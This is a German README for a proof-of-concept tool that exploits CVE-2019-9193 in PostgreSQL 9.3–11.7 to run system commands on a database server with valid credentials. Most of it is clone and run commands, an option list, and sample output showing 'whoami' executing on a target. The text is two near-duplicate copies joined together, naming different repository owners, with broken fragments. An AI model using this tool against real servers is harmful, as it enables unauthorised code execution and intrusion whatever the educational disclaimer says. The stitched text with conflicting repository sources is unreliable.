
PoC-Tool, das entwickelt wurde, um eine authentifizierte Remote Code Execution (RCE)-Sicherheitslücke in bestimmten Versionen von PostgreSQL (9.3 - 11.7) auszunutzen.
GenPostgresRCEExploit ist ein PoC-Tool, das entwickelt wurde, um eine authentifizierte Remote-Code-Execution-(RCE-)Schwachstelle in bestimmten Versionen von PostgreSQL (9.3 - 11.7) auszunutzen. Es ermöglicht authentifizierten Benutzern, Systembefehle auf einem PostgreSQL-Datenbankserver auszuführen, der für CVE-2019-9193 anfällig ist.
psycopg2 von pip)git clone https://github.com/AxthonyV/CVE-2019-9193
cd CVE-2019-9193
uv sync
python3 GenPostgresRCEExploit.py -i <target_ip> -p <port> -d <database_name> -U <username> -P <password> -c "<system_command>"
-i, --ip: IP-Adresse des PostgreSQL-Servers (Standard: 127.0.0.1)-p, --port: Port des PostgreSQL-Servers (Standard: 5432)-d, --database: Name der PostgreSQL-Datenbank (Standard: template1)-U, --user: Benutzername zur Verbindung mit dem PostgreSQL-Server (Standard: postgres)-P, --password: Passwort zur Verbindung mit dem PostgreSQL-Server (Standard: postgres)-c, ---command: Systembefehl, der auf dem Server ausgeführt werden soll-t, --timeout: Verbindungs-Timeout in Sekunden (Standard: 10)python3 GenPostgresRCEExploit.py -i 192.168.1.10 -p 5432 -d mydb -U myuser -P mypass -c "whoami"
Dieses Beispiel verbindet sich mit dem PostgreSQL-Server unter 192.168.1.10, authentifiziert sich mit den bereitgestellten Anmeldedaten und führt den Befehl whoami aus.
$ python3 GenPostgresRCEExploit.py -i 192.168.1.10 -p 5432 -d testdb -U postgres -P mypassword -c "whoami"
[+] Connection to PostgreSQL database at 192.168.1.10:5432
[+] Connection successfully established
[+] PostgreSQL version check
[+] Vulnerable PostgreSQL version detected: 10.4
[+] Temporary table creation: temp_3f8b8f9e2c9c11d7bd8f7c61d4e9eaf2
[+] Command successfully executed
postgres
Dieses Tool ist ausschließlich für Bildungszwecke und ethische Tests gedacht. Die unbefugte Verwendung dieses Tools gegen jegliche Systeme ist illegal und strengstens untersagt. Die Autoren übernehmen keine Verantwortung für jeglichen Missbrauch.
GenPostgresRCEExploit ist ein PoC-Exploit, der entwickelt wurde, um eine Remote-Code-Execution-(RCE-)Schwachstelle in bestimmten Versionen von PostgreSQL (9.3 - 11.7) auszunutzen. Das Programm ermöglicht authentifizierten Benutzern, Systembefehle auf einem PostgreSQL-Server auszuführen, der für CVE-2019-9193 anfällig ist.
psycopg2-Paket)git clone https://github.com/geniuszly/CVE-2019-9193
cd CVE-2019-9193
uv sync
python3 GenPostgresRCEExploit.py -i <IP address> -p <port> -d <database_name> -U <user> -P <password> -c "<system_command>"
-i, --ip: IP-Adresse des PostgreSQL-Servers (Standard: 127.0.0.1)-p, --port: Port des PostgreSQL-Servers (Standard: 5432)-d, --database: Name der PostgreSQL-Datenbank (Standard: template1)-U, --user: Benutzername zur Verbindung mit dem PostgreSQL-Server (Standard: postgres)-P, --password: Passwort zur Verbindung mit dem PostgreSQL-Server (Standard: postgres)-c, --command: Systembefehl, der auf dem Server ausgeführt werden soll-t, --timeout: Verbindungs-Timeout in Sekunden (Standard: 10)python3 GenPostgresRCEExploit.py -i 192.168.1.10 -p 5432 -d mydb -U myuser -P mypass -c "whoami"
In diesem Beispiel verbindet sich das Programm mit dem PostgreSQL-Server unter 192.168.1.10, authentifiziert sich mit den angegebenen Anmeldedaten und führt den Befehl whoami aus.
$ python3 GenPostgresRCEExploit.py -i 192.168.1.10 -p 5432 -d testdb -U postgres -P mypassword -c "whoami"
[+] Connection to PostgreSQL database at 192.168.1.10:5432
[+] Connection successfully established
[+] PostgreSQL version check
[+] Vulnerable PostgreSQL version detected: 10.4
[+] Temporary table creation: temp_3f8b8f9e2c9c11d7bd8f7c61d4e9eaf2
[+] Command successfully executed
postgres
Dieses Tool dient ausschließlich Bildungszwecken und legalen Tests. Die unbefugte Verwendung dieses Tools gegen jegliche Systeme ist illegal und strengstens verboten. Die Autoren übernehmen keine Verantwortung für jeglichen Missbrauch.